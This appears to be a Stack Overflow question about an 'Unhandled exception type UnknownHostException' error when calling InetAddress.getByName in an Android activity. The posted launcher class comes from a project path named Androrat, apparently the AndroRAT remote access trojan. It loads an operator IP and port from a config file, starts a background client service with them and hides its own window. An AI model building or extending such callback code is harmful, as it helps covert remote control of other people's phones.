title: How to get IPAddress using InetAddress in Android
body: <p>I'm having difficulty using <code>InetAddress</code> in Java for my Android project. I included the <code>InetAddress</code> library, however it never works.
  The code is the follow:</p>
  
  <pre><code>InetAddress giriAddress = InetAddress.getByName("www.girionjava.com");
  </code></pre>
  
  <p>However all time show me:</p>
  
  <pre><code>Description Resource    Path    Location    Type
  Default constructor cannot handle exception type UnknownHostException thrown by implicit super constructor. Must define an explicit constructor LauncherActivity.java   /src/my/app/client  line 25 Java Problem
  </code></pre>
  
  <p>I included the library:</p>
  
  <pre><code>import java.net.InetAddress;
  </code></pre>
  
  <p>What must I do to use <code>InetAddress</code> in my Android Project?</p>
  
  <p>The class of my project is:</p>
  
  <pre><code>public class LauncherActivity extends Activity
      {
          /** Called when the activity is first created. */
  
          Intent Client, ClientAlt;
          // Button btnStart, btnStop;
          // EditText ipfield, portfield;
          //InetAddress giriAddress = InetAddress.getByName("www.girionjava.com");
          //private InetAddress giriAddress;
          private InetAddress giriAddress;
  
          public LauncherActivity()
          {
              this.giriAddress=InetAddress.getByName("www.girionjava.com");
          }
          private String myIp = "MYIP"; // Put your IP in these quotes.
          private int myPort = PORT; // Put your port there, notice that there are no quotes here.
  
          @Override
          public void onStart()
              {
                  super.onStart();
                  onResume();
              }
  
          @Override
          public void onResume()
              {
                  super.onResume();
                  Client = new Intent(this, Client.class);
                  Client.setAction(LauncherActivity.class.getName());
                  getConfig();
                  Client.putExtra("IP", myIp);
                  Client.putExtra("PORT", myPort);
  
                  startService(Client);
                  moveTaskToBack(true);
              }
  
          @Override
          public void onCreate(Bundle savedInstanceState)
              {
                  super.onCreate(savedInstanceState);
  //              setContentView(R.layout.main);
                  Client = new Intent(this, Client.class);
                  Client.setAction(LauncherActivity.class.getName());
                  getConfig();
                  Client.putExtra("IP", myIp);
                  Client.putExtra("PORT", myPort);
  
                  startService(Client);
                  //moveTaskToBack(true);
              }
          /**
           * get Config
           */
          private void getConfig()
              {
                  Properties pro = new Properties();
                  InputStream is = getResources().openRawResource(R.raw.config);
                  try
                      {
                          pro.load(is);
                      } catch (IOException e)
                      {
                          // TODO Auto-generated catch block
                          e.printStackTrace();
                      }
                  myIp = pro.getProperty("host");
                  myPort = Integer.valueOf(pro.getProperty("prot"));
                  System.out.println(myIp);
                  System.out.println(myPort);
              }
      }
  </code></pre>
  
  <p>The error's i get.</p>
  
  <pre><code>Description Resource    Path    Location    Type
  Unhandled exception type UnknownHostException   LauncherActivity.java   /Androrat/src/my/app/client line 31 Java Problem
  </code></pre>
  
  <p>Picture:
  <a href="https://i.stack.imgur.com/80PQx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/80PQx.png" alt="enter image description here"></a></p>
  
  <pre><code>MY VERSION OF JAVA IS JAVA SE 1.6
  </code></pre>